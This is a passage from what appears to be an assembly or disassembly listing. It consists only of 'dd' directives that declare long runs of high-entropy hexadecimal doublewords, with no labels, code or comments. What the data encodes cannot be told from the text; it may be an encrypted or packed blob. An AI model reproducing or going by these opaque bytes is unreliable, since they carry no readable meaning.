0A4409E00h, 0A300F65Ah, 1752BEF6h dd 1BA83FDBh, 36C1CC6Dh, 654594E0h, 7FEE42DEh, 0C623222Fh dd 0B2F48A38h, 0CE87B1C4h, 0A2F6B0F0h, 7306E395h, 0F09200FAh dd 96EA539Eh, 0E7D2458Bh, 0B4201274h, 2DB889E8h, 0FCC3AF54h dd 3245DF02h, 857E739Bh, 1DBE063Ah, 1463A6EAh, 0C42EE22Eh dd 26CF46Bh, 54E73E9h, 0D659B0FBh, 2F0511Ah, 0D6D2371Fh dd 2F36DE46h, 8AA186BDh, 2CF8C484h, 97C9C9EDh, 0A24020F2h dd 48A28B2Dh, 3B80CE61h, 521CC80Dh, 0C52CC58Eh, 0CE1BBED4h dd 0D18BA1C4h, 0CCBE3DA6h, 0AD5C5610h, 5453BCEBh, 5698D638h dd 24A51E0h, 57EE5B37h dd 43AC8E56h, 1682CDFCh, 98824D0Eh, 45E4F14Dh, 0A9E2A164h dd 0ADE5E9Fh, 7D2B6156h, 6BD9805Ah, 969A85CBh, 5BA568A7h dd 0DE8C0C49h, 4861A775h, 6C82C130h, 6C422DDh, 40B7FECEh dd 0F0170777h, 0EC14D3D1h, 0BD441916h, 0AE7830D0h, 0C2AEFD29h dd 0B57925A0h, 3055A8CDh, 960EC7FBh, 7FB534CCh, 355F71DBh dd 0BBCF7AD4h, 0D8B078FEh, 78A142A7h, 0F9EC0FAFh, 0F263FDEh dd 0D76CEAD2h, 80BF6F37h, 0C76D245Bh, 33D5565Bh, 9BC5B280h dd 18A35A09h, 0B0876AAEh, 0A7397A1Dh, 0D5149E70h, 6CB28B8Fh dd 0AD33245Ah, 1679FE74h, 0F0E76A56h, 783FB52h, 791D39B7h dd 66C33A4Bh, 30DAA8EEh, 714F0BDEh, 0D82262A1h, 4AC92A06h dd 7AD757F1h, 48697B65h, 0C052AF19h, 0EA4C8B9Ch, 0BAF27565h dd 2A1DA9BEh, 63540F47h, 0A714EAECh, 0F103D811h, 502DF09Bh dd 0ED557E5Bh, 7F6157C4h, 9899C4A5h, 0E2B45C93h, 13BE4336h dd 27EF8B95h, 648E61Fh, 0EBBC06C9h, 652E4F81h, 0CAD8AFFh dd 2DD64C9Dh, 3AD32A05h, 72FDD358h, 8C0516D2h, 2F00EC3Eh dd 50097D54h, 0ACDC5482h, 4B969303h, 0CA1F7549h, 0E958D0A3h dd 76C213DAh, 73BF435Bh, 0C763B27Ah, 3AC9F08Ah, 7D726574h dd 0D6E61C28h, 0D12413C0h, 0FF205F5Fh, 0DD44FABDh, 43C1EA80h dd 851F870Dh, 0D28CEE48h, 0D1C63A97h, 0A4D8288Eh, 5E957573h dd 5F523738h, 3CDD1EAFh, 0D43A2214h, 2558818Ch, 1E353562h dd 9FA2A76Eh, 6989C770h, 72EAED4Dh, 0A7BB5C4Ah, 0E766E790h dd 0E672C10Dh, 71F367Fh, 0BC8671C3h, 0AA835503h, 0B130FA95h dd 0FA5B776Eh, 6D8F5FC9h, 11B4515Fh, 2710B217h, 0D352390Fh dd 400044ACh, 0AC9B42BEh, 0D022D30Dh, 1DDE5918h, 440B94Eh dd 5BDEB0D4h, 0E68B3DC5h, 4CE62712h, 4885B85Bh, 9F8998C4h dd 47E55FBFh, 0A93BBF5Eh, 416EC260h, 9D26F52Eh, 442BE62Ah dd 901DC0A7h, 0A50A18C7h, 72CF0B8Eh, 0EAFF3AF0h, 0F3745D56h dd 1CB85972h, 55760D07h, 0D8C9F2Dh, 2964D8Ah, 4E2E0BD1h dd 0DF957A4Ah, 491326EDh, 51E743FAh, 65170B81h, 674BB675h dd 0B0A982h, 4AC29E34h, 3C8B12ECh, 0FD0CE96Fh, 0A8C66598h dd 0F02D740Bh, 5BED349Ah, 861E5C08h, 0B153EFBAh, 91C3CF58h dd 14573B1Eh, 7D2539D8h, 0DACDDFC0h, 0DCD5930Ch, 741D0C69h dd 165D863Fh, 0BA400E3Ah, 0EDF25D08h, 28E83D4Eh, 0E4490A7Ah dd 78679DDBh, 96F067C4h, 5A34C428h, 57D5FF66h, 3BAE26EAh dd 0BE3384F7h, 79EBD6BAh, 0DC466721h, 0A4B9F4DEh, 0F8E68590h dd 0F8F5AE12h, 69797E66h, 56AEF988h, 2E63CBF0h, 0B56C04B3h dd 1138EF41h, 7D942B5Bh, 14918704h, 563F7BEDh, 186F98B7h dd 0F2067132h, 6B91012Ah, 849E01D2h, 16E6F6E4h, 847CD97Ch dd 6A2217E2h, 5B6AC790h, 2CCCB7E4h, 0A8167650h, 439962E2h dd 0CBD2AED9h, 0C83A539Bh, 95A65D61h, 2F437057h, 263806BAh dd 0B4ABD88Eh, 0B570ADB7h, 0A199397Fh, 0DD2DFB8Bh, 2EFFC863h dd 0F5EE2A10h, 0B2463D79h, 0C159CA5h, 4B7AFFB6h, 1E74E4C3h dd 6FCBDD23h, 0B8DBEAE9h, 5586BFEFh, 0EACBFD97h, 0B1A7516h dd 13A4CD98h, 8F8D4A7Bh, 0C185FEA4h, 0D9BAACB5h, 0FD0AC0EEh dd 0FE1C3FBEh, 0F8FAA6CEh, 385C618h, 0CD245FA6h, 1494F547h dd 0AA53D50Bh, 595B6850h, 63F25A63h, 93091007h, 7A44DAEh dd 0C0310604h, 4A4173C7h, 0D89FA0A6h, 2EE6D23Dh, 64FE9F67h dd 0ED6FC3E6h, 75D1BA17h, 32C64721h, 10068E2Bh, 77541716h dd 4C57A8D2h, 0F872E989h, 0FC058A3Fh, 0FA41FB01h, 0B7C2F3BFh dd 0D9630BADh, 3BA81144h, 6AEF3DE1h, 7524CF57h, 24DD4F21h dd 0F52AD586h, 2EEBB524h, 14DBF505h, 0FDA71C2Bh, 21A4CCCh dd 0F1E0ED7Eh, 67747A17h, 0A9815603h, 0F22A661Eh, 288601E8h dd 8A76AC8h, 0CBD412B1h, 0DB0652F8h, 52777D4Dh, 604D2133h dd 67615CB5h, 0B9E4E01Ch, 937DAF8Dh, 0C5BCDFC4h, 62A6FB3Ah dd 0D0E176B1h, 7F98A285h, 4831A7F1h, 294AEA8Fh, 894CC7B3h dd 8D59BC6Eh, 492EA805h, 0E13B5E22h, 7A8E3A29h, 94ABE26Eh dd 748A845Bh, 9A7E9570h, 41F59668h, 3426D929h, 425720C2h dd 273C2F9Dh, 122B52CEh, 912B18BBh, 32650D6Ch, 64A745A9h dd 90565BC8h, 958A3943h, 0E924893h, 1D1C0321h, 0C3B452ADh dd 9E288EB6h, 0DDA258B3h, 949920BFh, 276AE54Fh, 0BD314D15h dd 8571E4BEh, 9C145E24h, 0CCFA4923h, 66DEB580h, 46C8C156h dd 0EDDDAE0Ch, 288B8B11h, 495D7480h, 0B3507D90h, 418ADCF3h dd 0C1F0819Dh, 79CCF6BCh, 0EA6FBEA9h, 19DB3613h, 9A6F5878h dd 0A61A592Ch, 525F7284h, 0C89A2DDDh, 1F04A612h, 35AFDB00h dd 0E7CD8266h, 95388498h, 0A7D1612Eh, 0CA8EC251h, 0A0587983h dd 0CACF164Ch, 497FE74Ch, 7CB3E287h, 0F48FCFB7h, 0C276FC7Fh dd 23B8D23Bh, 32CC214Ch, 0AEB1464Ch, 5FF285A4h, 277C15B0h dd 0CA813CF4h, 2921B308h, 59ACACh, 8938B0EAh, 2B2F4E32h dd 89C1721Fh, 3BD3A0C1h, 0EF745990h, 70C5E522h, 0DFB5AB67h dd 7F93C389h, 35CD1B79h, 0DDE97201h, 0E722258Ah, 0BF9185E8h dd 0C007BFF9h, 3EFC8EE4h, 670B44A0h, 0BCCE536Dh, 65E9B211h dd 76F4FEEh, 1659B127h, 1C355D24h, 948381BEh, 62FE1A58h dd 6FFE9B94h, 88DB045Ch, 6D0AAFE3h, 0C52F7013h, 46B754C8h dd 520F67EFh, 1176B2F7h, 912B85BBh, 946BDE48h, 7DEF786Bh dd 0B51E1E9Dh, 0EBDACA86h, 926B70F8h, 0A274C200h, 0AAB6E707h dd 5A52E6DFh, 50A1B664h, 0C9E8BFE8h, 939C544Bh, 0ABF7713Ch dd 390C0044h, 317DD338h, 0EF856D14h, 0A7564A51h, 13DEE599h dd 84E33EF5h, 0CAD3A079h, 558EC655h, 0A6B1FB26h, 9C4AA8DCh dd 0A4B41C61h, 0E84DB5D6h, 65D6FAA7h, 6204EA80h, 0C60F8AA0h dd 1EF2D429h, 0C1E741ACh, 0F1685F9Eh, 8DE62367h, 0CC125313h dd 0C0A8AFD9h, 0C39DBBEAh, 0FB0C1C1Ch, 9596BF73h, 0B36A2E1Ch dd 5AD1FDC1h, 0F10E573h, 0FFA16BE5h, 0E9BA8DE5h, 0EF58ACCEh dd 0FC0DC296h, 509AE32Eh, 0F146594Bh, 0AC7E7B59h, 9A312A46h dd 34B5567h, 0E6DD490Fh, 8AEB3ECFh, 5A27CC45h, 3AF8E004h dd 627231CCh, 0F0927CE5h, 94F3CF4h, 5BDDA755h, 0CE6CBD41h dd 0BCFF84A0h, 0AF090FFBh, 3FC90F04h, 0F0A5369Bh, 1B4B8CFAh dd 0DCF96B0h, 56EA6B17h, 0FCD5EED3h, 477FA70Ch, 0E60CE49Bh dd 0E3F946CBh, 0B0F9C820h, 14A308F8h, 0DAC5D985h, 0CF999934h dd 66E5EA26h, 5F7EF7E7h, 26E464D2h, 93456412h, 0DA2BA922h dd 0FDBFAA15h, 3B79D693h, 5803582Ah, 3A6FC10Fh, 7D954A47h dd 2060C6E7h, 4D147E6Eh, 5AB5F19Ch, 82A844D4h, 0F77DE3EEh dd 0ACE7EAA4h, 717BB0EEh, 0E828BDA1h, 5E2B8199h, 6FABF36Ch dd 2B0363BAh, 403B6C87h, 7F38DB10h, 0D2BE3A50h, 0F88AC316h dd 0D26CF754h, 48281F80h, 0BB0BD121h, 0D2E692D7h, 0C2589471h dd 34E70156h, 62163153h, 0E75F180Eh, 7CDBAB0Ah, 0F4A885A3h dd 0D1133434h, 8D1C6BE9h, 883C2C1Dh, 3C28A1F1h, 0A680C373h dd 0B73FE9E5h, 971F899Ah, 0A9220183h, 0B9BEB5AFh, 0C9F29F7Dh dd 9951B1Ah, 4BFF5375h, 0D7302356h, 460D829h, 16F427E9h dd 0A1560F2h, 0C474B157h, 0BDEDB8E3h, 1B77637Dh, 0C83C6A42h dd 4E0B0810h, 33067BDDh, 0FD234AA6h, 121C549Ah, 4D0F9C43h dd 64C1E922h, 1B185500h, 4F05C06Ah, 0A63462F9h, 94699D2h dd 358BAA20h, 91FE961Eh, 2D0B0229h, 3571F746h, 35B4A81Ch dd 0C2F32C54h, 83D3021Eh dd 89386A38h, 0BD99319h, 0FFC598F5h, 97A6C916h, 0F1E1AE00h dd 0B38E5FD6h, 0A8E0C95Bh, 0FE0A9252h, 664D6A7Fh, 0E534A444h dd 53058E2Eh, 2B98EB47h, 18F78223h, 7379481Bh, 3113374h dd 5BB959Ah, 1A9ED94Dh, 22EDF455h, 9F358681h, 0B7C9E86Fh dd 4AC8A05Ah, 0EE6FDEB2h, 329E3B56h, 0BFC7DCDFh, 0A39BC824h dd 0ECA1D3Ah, 4BFFFE96h, 97AD86DCh, 0C5AD6578h, 0EC9C81CFh dd 4CC639B2h, 0B7A67C40h, 7AE3A166h, 898BED61h, 417F4059h dd 0D6D3369Ah, 0E8AFFF98h, 18599AEEh, 0C57EF31Bh, 0F318D824h dd 7C639354h, 1F1C3A90h, 3DE019B5h, 6499FF07h, 8E8EF21Ah dd 2D83E134h, 6D25283Dh, 960D193Ah, 45C525A2h, 332C432Ch dd 87DE1479h, 4A3E559Ah, 0FBDE7849h, 74B5D82Dh, 0D61B142h dd 1AB50A09h, 24E54425h, 0D4D80462h, 0E71E646Fh, 0CB1CB8E4h dd 0C9CBC556h, 9A9D72BAh, 0F78A501Eh, 956CFDEAh, 961C44DCh dd 0AC3F60A0h, 1295964h, 0E6B4371h, 0E5C25AADh, 50F91B10h dd 0F9D61547h, 8FEEA0D6h, 0BD3D4A51h, 17C6E3ECh, 0CE27C463h dd 0ECD7A0D5h, 0FA3B1992h, 5930C59Ch, 0E23485E9h, 133254E0h dd 1316BBEFh, 0E96CF2FAh, 2B579299h, 0B01D815Eh, 78A625F8h dd 0A963FC49h, 0C66F8892h, 4FFA87F2h, 0D29AD3BAh, 2C01948Bh dd 506B41BDh, 0FE102069h, 0ABA80644h, 23BBC580h, 9148CCA8h dd 13BD40EFh, 8F2A8166h, 0D9A8DD65h, 82498106h, 9C1E2D97h dd 58BD97E6h, 0B3A12E4Ch, 0F237D6Ch, 139B15B6h, 1D27F4DCh dd 7373A9E5h, 6E1EFDDAh, 0D9DA3FD6h, 0C0192BF6h, 61F796D7h dd 92A26A28h, 0E729F395h, 1EAA6D2h, 0D4EBB656h, 0DE87D29Bh dd 0E4CBAC0Eh, 66360F9Ch, 0D3437711h, 68EB7545h, 0CBE677FCh dd 2B2FBCDFh, 8EC12288h, 85A9E68Eh, 935C8664h, 0E9050CF5h dd 8500CF4Eh, 0A7C8A313h, 0D97D331Ch, 29B34392h, 7955708Dh dd 80BEDA53h, 7E529E8Eh, 0D07CD49Eh, 93C2EA6Ah, 7E2A43FCh dd 640843DEh, 0A5B159F9h, 85515BE0h, 135D44AAh, 48F73B6h dd 84BEDD04h, 807F8EA7h, 913EF68Dh, 0D1DB73A6h, 66370092h dd 129333E9h, 1D4C9AC5h, 4F3926C4h, 0FA2E7404h, 0EF01782Eh dd 5BCAB612h, 92F0B203h, 7635E11Ch, 0A6C9E8A0h, 0DCCE8CA2h dd 34588100h, 7344AFC0h, 8071ACB4h, 90D62E85h, 8F8CC5EDh dd 15330828h, 757B563Ah, 492D6140h, 4EEF4876h, 9CDD42Eh dd 0EA1596B8h, 0B2FD69F0h, 0EC206083h, 0C927EAD3h, 0DBA97180h dd 8C219C66h, 0DC7E3BF0h, 0B2AD6F9Dh, 0A43E9D89h, 9C91439Ah dd 5B87A452h, 56B60DDDh, 0E5854EEFh, 0B5AE1303h, 3FBA2EBFh dd 0D2F710EEh, 46BC0970h, 0D28D323Eh, 40525337h, 39BB962Dh dd 0CE1F785Bh, 608BD2C5h, 22A75451h, 6D13A70Bh, 0ACF4C732h dd 1FA4AB12h, 0D3CD546Ch, 45F3C252h, 220CF665h, 356A2B2h dd 8A591D31h, 0E40E1C3h, 0F8CDF93Bh, 0F9976D65h, 0D4E2F92h dd 915E0596h, 5870D96Ch, 0C9F38E32h, 7CD9149Ch, 0A3B4B1EEh dd 0B361E47Fh, 335A7BD6h, 7F8BE495h, 0F1EA3F63h, 0E647059h dd 93CC62F8h, 2351B419h, 0F4B76DB7h, 0DAFD6BD8h, 0EA73A3DFh dd 75FB0B07h, 0DC0697DAh, 5085886Fh, 5E8E9526h, 0EC645B85h dd 18281BA8h, 546A327h, 569F739Dh, 9AE58739h, 0F8566573h dd 795566Eh, 0BD3FD84Ch, 0EA215625h, 14A037FEh, 3A3C028Bh dd 909393DEh, 0B1EDCF0Ch, 536772FBh, 1D7051F2h, 8721E423h dd 0CC28BC12h, 9E568A07h, 0EF607272h, 0DE53420Ah, 287F90D3h dd 6C9E1E1Eh, 0B2357BF4h, 61A86EBBh, 0B275BF13h, 566D6988h dd 0EBD839B4h, 5BB0A471h, 890ED3CEh, 0BB8A3BF2h, 0DFE62C0Ah dd 0D38CA290h, 30DA1B60h, 67133876h, 0B3D74A2Dh, 0DD1AE8C0h dd 4C572FFEh, 1BD0C1Fh, 3918AA1Ch, 0E12122C4h, 363165D9h dd 0B41F642Dh, 2D360930h, 0CE407028h, 1F83D209h, 0F1E25601h dd 37969268h, 0C468D0D8h, 24C20256h, 0AD10B9Ah, 5264124Ch dd 4BEE4223h, 0F286BFFFh, 9588086h, 68C123C9h, 4B108463h dd 0B90A287h, 198A4C06h, 2A8A05AFh, 0E7920E21h, 96DC9B05h dd 2581E827h, 2AA54D6Fh, 4BDA12FCh, 8186705Eh, 0A21E83F7h dd 7C88EB69h, 0BCFCE2A5h, 11A92B3Eh, 0A5505448h, 0AE19156Fh dd 2B213301h, 9F3645B9h, 0CB328E7h, 0EB6A6A03h, 50414BBh dd 5D4145E2h, 0D01D83DCh, 5B5F6FD0h, 21889C85h, 6BA8B5B8h dd 45618F81h, 0D7106F68h, 4A490341h, 0A0E8A199h, 479C028h dd 0DF27815Ch, 57EC04C9h, 0D6B52379h, 86913C62h, 0D4DB11D1h dd 93A85F22h, 599753B7h, 35A076B5h, 94C13213h, 54265006h dd 150B7F06h, 0C7122E6Fh, 6D9DBFCFh, 0E493F5A9h, 0FF7D23FFh dd 0F39ABE1Bh, 0D910D75Bh, 496AB4BAh, 0BFDD4018h, 0CA14D7AFh dd 265EE69Bh, 0BB0B1F11h, 5016929Eh, 3BF84FA5h, 0C1E1D79h dd 90E6A8FBh, 212E2B02h, 2A618CA3h, 0C4911DAAh, 6E730D21h dd 0AF1E0A98h, 0FC9568Fh, 49FD9360h, 926F201Ch, 0F175D306h dd 9DB1AE07h, 9A550B4Bh, 0BDE8272Fh, 7DA8C458h, 5896B302h dd 0E3FC2785h, 80BA69DAh, 0EF5873B7h, 0FC52644Ch, 7823922h dd 90C624A1h, 2F65AE5h, 0F8D2370Eh, 0B1E9C54Ah, 69B6F39Eh dd 6025A5EEh, 0AB7BF3C0h, 0D12EED41h, 4371D7D9h, 97207723h dd 2D38556Dh, 3B735FE6h, 0F7E98DCAh, 0E5BE10D9h, 1E8E0087h dd 61DCB59Eh, 8660F26Bh, 7B5481FCh, 694E8D57h, 97F1B880h dd 0F4E7426Bh, 145A66A6h, 0A0E3DE7Bh, 8BC8F4A5h, 4AF181F0h dd 8295C98Bh, 7786337h, 693F5C0Fh, 6440689Ch, 88F057CAh dd 9515BD21h, 61A87E22h, 9C2A5CA5h, 0C07F7E45h, 3CC1F55Bh dd 9D6DC94h, 0DD8FBFE4h, 0E2D058Bh, 4CC1A919h, 87DA1744h dd 8415DBB1h, 41DAA93Bh, 10B93597h, 649CEBFh, 0DF283855h dd 0B2E8AD87h, 7E882F41h, 0E867513Bh, 9AAD9571h, 288D97A5h dd 282F515Ch, 82C517Bh, 6F3DE699h, 4A4858BAh, 184FA6F8h dd 0ED93A5E0h, 0E0A8E79Dh, 0E7BF58DFh, 6268849Bh, 656A3A61h dd 0E2490E29h, 65E0F67Eh, 0FDD223D0h, 4FF996E4h, 0B4E49557h dd 0CFC4938h, 180C9997h, 41D431AEh, 6FEE0422h, 6086063Ah dd 79023133h, 9D422651h, 8B919FD3h, 66D5A1C3h, 0FCFCF2ECh dd 0E5358537h, 379FBEB4h, 62B3C413h, 7A0B2105h, 4394089h dd 0A22DD2F3h, 0F41CEE63h, 222ACB82h, 958C85D0h, 234255CAh dd 1B0A7000h, 0DE274C94h, 11D4822Ch, 0DCA5CA8Ch, 0A482CE00h dd 8D08F977h, 0BA77084Dh, 89AE2B49h, 0B82616E2h, 74BC08C4h dd 968E8630h, 0C0B7E391h, 6CAD273h, 50909597h, 0DB6D2E7Ch dd 93BBCBA6h, 56D21C49h, 32993E16h, 0D4EDC3E1h, 6B67D980h dd 0CF43E860h, 0E8679FEDh, 4C0F215Bh, 83C2F4FEh, 1CC1D19Eh dd 0B3ED619Ch, 9596E69h, 83D37AF3h, 3D342690h, 14A4CFD1h dd 8010500Fh, 3F74B406h, 567925F9h, 6AA33966h, 280DE50Dh dd 5877B11Ch, 6E98A304h, 322CD2A7h, 0C7365C63h, 0E5ADBA4Ah dd 8B581C43h, 578D6C5Ch, 0CF16F43Bh, 4BE831CFh, 93B95DCEh dd 0B07097B8h, 8AFCEC2Bh, 0CA9B7BE7h, 9E27CB6h, 6796D5E5h dd 0D4A4FB56h, 9E866517h, 72C2F03Eh, 76A22AA2h, 286C966Bh dd 0A85B20E9h, 6C680BFh, 26A4796h, 2EC8F0E8h, 0A0839770h dd 89D48B88h, 0AE9B5C8Eh, 54B47C5Fh, 0E996FB15h, 7E3ECE62h dd 580EAC6Fh, 0CF6A91A6h, 36BC2DBCh, 0CD520FE5h, 9F3E2A59h dd 0D5084D16h, 4C42C9FAh, 0D35AE202h, 0B17AB566h, 0CF3A2216h dd 845B20B4h, 98310221h dd 0AD2E0C0Ch, 93B024BAh, 8C692813h, 410165EEh, 86F02F62h dd 516AA4C3h, 0CBD6F1FBh, 9832ABDEh, 7619F411h, 0F4004A87h dd 1CD4CF52h, 0FE6133E8h, 0AFE90FDAh, 0AEF1921Eh, 72A761CBh dd 9E8372E3h, 6A388017h, 2A29B9DBh, 5061C3D1h, 6FCE8F3Fh dd 20DBC5D3h, 0BBDDB52Ch, 0DEAE23CFh, 0AC301A3Ah, 0D4D20528h dd 377A3A7Bh, 53A2591Dh, 0B2FAC52Dh, 0F312CD2Ch, 0B973E9CFh dd 8A8E8C75h, 27C91D23h, 2B1B48DAh, 857360FCh, 57C2D799h dd 51BB76D3h, 5050ACF0h, 15AE5701h, 0CD3A4B66h, 0D9B827B8h dd 51CC87EDh, 0BCF0E902h, 1CA5F17Eh, 8B1B41B5h, 0E910439Eh dd 0D2342725h, 74887560h, 0E726E097h, 0C52FE055h, 619CD16h dd 63894431h, 0A5782F17h, 4E9A3E1Bh, 0FFB2A446h, 0C3428F17h dd 0C7C3845Eh, 0A2A24143h, 0FAE0ABEDh, 0F764CEC4h, 4DA39080h dd 0B92B27D6h, 573A12A6h, 0CC9492B6h, 0BEECCBFFh, 32D3E6A9h dd 0E1733E88h, 0AD295E06h, 9FB358C4h, 0FA1DD1AFh, 0D778F037h dd 0DB8EA46Eh, 3DBC02A3h, 20E1997Ah, 0B45A88F7h, 5ADAF089h dd 5105A30h, 29D2BFEBh, 8707175Dh, 0F423C044h, 0C55C9ABFh dd 0CA0F5CB5h, 0B6802975h, 0E7850027h, 9AB4312Eh, 955AF660h dd 647FDDFDh, 0F54B61A7h, 563A64DAh, 0A9CDB7D8h, 0CAE61082h dd 0AA53F202h, 46E98401h, 0AE6F27A7h, 0EAD219C7h, 0FC3AE53h dd 0F288DE98h, 875BA624h, 62B69556h, 0D962B631h, 5D3F7BEDh dd 0E3C0EB99h, 0C219DE9h, 70EBACE9h, 0B8980E09h, 929292E4h dd 7B90DE2Dh, 224208F2h, 0F6EEB857h, 0BC3B0447h, 0BD4A3834h dd 4639E7E4h, 2DD78772h, 87678880h, 59363560h, 9E3F2061h dd 8D8090F2h, 0AAD244BBh, 4BD4AE88h, 88FB2DEBh, 84361009h dd 938D3DAFh, 859EC52Ah, 619D926Fh, 0DF319948h, 0D73560A7h dd 0C376D31h, 0C377169Eh, 2BB8867Bh, 5708DDCCh, 0F5A7C92Fh dd 4E24A714h, 4D36E1F6h, 5EFF02A8h, 0C347AA6Dh, 53E741CAh dd 147176BDh, 0F90250B2h, 0A22647FBh, 0A77DE83Bh, 27BF6121h dd 67944AFCh, 82C9F2h, 0E284D2CBh, 1A671EDEh, 3B6B49C4h dd 0C546CDFCh, 6D7374FAh, 0D8F39D3Dh, 6C3ADA62h, 3C15264Ah dd 3D22CF9Fh, 12B328EFh, 8C60522Bh, 0A5251A4Bh, 0E8B6019Ch dd 43F8D351h, 5371E05Dh, 71014958h, 9550B499h, 46D4B864h dd 0C5DDDFE7h, 0D05EE771h, 0DB6A002Eh, 69AD2198h, 4B6BAB01h dd 82E0254Ah, 35A1DEABh, 9611904Ah, 36176F08h, 0DE6EE10Fh dd 0BE037196h, 14E79411h, 3F6C40E7h, 5B73012Fh, 0FD078610h dd 30E754E9h, 2D8A7BF1h, 0D69DF7F2h, 90A75E1Ah, 0E6C526F9h dd 0E0F7EAA5h, 0CBDFB698h, 0F67DCC62h, 0E3A1C617h, 24434371h dd 6AB51658h, 0D7FA76E2h, 0B341FC84h, 5342D8E9h, 0B105C0E9h dd 2254AA98h, 0E49B29C8h, 99F72334h, 9C2B5h, 0E998D2Dh dd 0F88B7810h, 0CA9FE9BCh, 4C23A8A4h, 9AECDE8Ch, 0F82005A8h dd 1917AE9Eh, 0D9FA03ACh, 9109DD9Fh, 0BF0A6F07h, 0AF8C0ECCh dd 0BA43DF99h, 4B08DDE5h, 481264CEh, 0DCEB3746h, 0C070096Ah dd 605A60DEh, 546C406h, 0D77CD7Dh, 8B762258h, 13835772h dd 8AA81604h, 0F794AFA6h, 47C09F74h, 0A310254Ah, 0F82786DBh dd 6E7E8C86h, 0A4EB82D2h, 0AD0FC59Eh, 4F1DBFDCh, 2FE1FF0Eh dd 2573C617h, 0D613F33Eh, 69D4C4E0h, 3333F335h, 22981200h dd 0E55AB316h, 417CA946h, 690A7803h, 34C757CFh, 0D78F5BAAh dd 215AE1A2h, 0C9072296h, 63C64D75h, 7921A2A6h, 5EC74B57h dd 0BBACEA15h, 0D02C0108h, 0F2117E8Ch, 35F62AA1h, 9739FCCEh dd 0BFA0756Eh, 0B1D5720Dh, 24F13C77h, 77A442DAh, 571E1AA4h dd 0B5F6F803h, 0D1D3FB2h, 5DA7D294h, 0E0C12877h, 0EA04FA54h dd 7B864E1Eh, 8771BE98h, 0E62C3298h, 0DBE76F39h, 7881E059h dd 40F762A7h, 75F39421h, 26ABDB00h, 0DEC82915h, 0DB678C21h dd 5A1BD524h, 9FA1CEBEh, 0C4D316F3h, 0CBAA474Eh, 0BA135ED9h dd 0A5ACC1BCh, 0A2096056h, 36BC612Fh, 0E6757899h, 8BD3EEBh dd 0B511B2BCh, 0FB69E69Bh, 0E2A7109Dh, 19EF3F18h, 0FD0FC18Dh dd 0E30E2B7h, 0ACA33868h, 6DCEBB2Ah, 0CF0FE939h, 3EA00837h dd 5DC2216Bh, 0EE1A9035h, 0EDFCBDCBh, 0BE98C263h, 5076D79Ch dd 0A672418Bh, 0EF8A9183h, 6024AFB5h, 0C7945921h, 0E0C3724Bh dd 5E1795B9h, 0E1C1853Eh, 111DD579h, 0D1922702h, 336C0558h dd 552293D4h, 0F7BE6FBFh, 8BC97CBh, 4FFE146Fh, 0EA5B43C1h dd 0BF55658Dh, 3678BDABh, 0DBDCB547h, 0B7D88B3Fh, 16F9396Ch dd 7B34715Ah, 0F311453Fh, 15E47F37h, 6C8C260h, 0BCEB985Ah dd 0D3C25B2Ah, 845508CDh, 1710B5CAh, 2381245h, 0AE356D1Bh dd 0ECBF2AB7h, 74E8082Ch, 9FEEDE29h, 0E3AC2913h, 0B790BE97h dd 0E634D8DCh, 0C1A15998h, 59330C6Fh, 372F461Ch, 6DD59390h dd 0DE403FC8h, 2CA78E37h, 0A0E01696h, 1D09C8FBh, 0DC824A55h dd 80DC7A83h, 0FEC90AC0h, 0BCAACF73h, 0ACEAC9EAh, 2CD7D71Eh dd 0D7C61BB0h, 4D02A64Ah, 73F6CED9h, 1FB10542h, 10E49BF7h dd 0F6761891h, 55CF610Bh, 4B244D84h, 8D798D76h, 649134E6h dd 0BCDD76B2h, 9CFF9E35h, 47A697F9h, 37E7C7B9h, 90B24137h dd 613AFD5Ch, 16944306h, 6CCB9C96h, 9375C97h, 44C70FF3h dd 15C05990h, 1794E388h, 6F6170D6h, 3FED0FC1h, 0F62ADA6Bh dd 115B5702h, 67E8511Ch, 0EA69567Ah, 0E90DD1E3h, 0DA2055BAh dd 0B2336CA0h, 105908AAh, 7D455C39h, 8E45C5AEh, 89ABD74Bh dd 0E508DF03h, 17F75DF7h, 9C697566h, 0F08F078Bh, 0DB3E6B2Eh dd 5DF5AC5h, 84565587h, 16287261h, 8D74323Fh, 3F9C345Ah dd 4E4D529Bh, 39EC8618h, 5776B7A3h, 712979D8h, 0FE6CB27Ch dd 34BF9E6Ch, 0EA48857Ah, 0DF49E451h, 0D98F840Ah, 0B135971Fh dd 57E52AF1h, 7696E43Fh, 48714CD3h, 4264410Fh, 64886DFh dd 157A1274h, 2B21DC1Fh, 58870291h, 32FDC217h, 87DBAFE5h dd 789DFA7Dh, 0DA501879h, 61AEC09Eh, 0A5A481E1h, 75FC1E2h dd 0CA28511h, 8B94FBA7h, 9457661Fh, 0D90458FDh, 0D40D3614h dd 43401ABDh, 0FC112558h, 95C608C3h, 7BB0AFE8h, 80CEC94h dd 6548907Bh, 0A69B1623h, 30A217E0h, 0F2D0646Ch, 4B2ABA3Eh dd 7A293575h, 0BAAD36F6h, 0B946A9E4h, 8967AE2h, 4F73580Bh dd 3895CBE9h, 73581F70h, 55837303h, 1D52E57Ch, 87322D92h dd 0A20723C3h, 659EB9E3h, 0EEA43318h, 78BDE3B7h, 0FC559C67h dd 0C91672EFh, 0A97F02D2h, 2F80C805h, 0D69B13CDh, 71F5E658h dd 8A19ACC0h, 5D6FE7Ch, 34A10836h, 0B13817ADh, 0AA897D85h dd 0E20FE6F7h, 0BD544714h, 5EFC7E3Fh, 1E968754h, 0AE8DDB1Ah dd 591E0AD4h, 0DDD217A2h, 0AD2BAD7Ch, 7B848221h, 0B98A7BABh dd 946DFAE1h, 6A11ED7Ah, 1C7B782Ch, 0A015310Fh, 0D51258A1h dd 65829581h, 8F75FB8Dh, 9EF02ECAh, 0EB391E4Dh, 1A03DA96h dd 0DEC7835Ah, 5643FF2Dh, 99DF3E49h, 0F2D18B10h, 608BCE5Eh dd 4B90DF72h, 0E2050912h, 0EADC5BC5h, 0FC74B38Fh, 1605C15Ch dd 7DA3CA59h, 0C8AECB9Ah, 28CAE795h, 5AD9F512h, 7B385709h dd 0DD1C2113h, 797F2CD2h, 0E75F4B13h, 9315BEE1h, 1731B2FEh dd 0C59ABFB6h, 0B84D4347h, 9EA969CDh, 965E849Fh, 6E341B68h dd 34EBC0EFh, 3035A189h, 0BBBAF96Ch, 0FF39B9BFh, 6861024Dh dd 0A69177F9h, 17CBDE83h, 2BD00E9Fh, 2BE0D9E3h, 2F346930h dd 0B4CA03F9h, 2AB71381h, 0DB2B228Dh, 1B04BB20h, 0E95CDD68h dd 930A5BD0h, 92DCA938h dd 629B8B7h, 6AF088F1h, 2940A685h, 0A634A558h, 3D806E6Ah dd 0BD789ED1h, 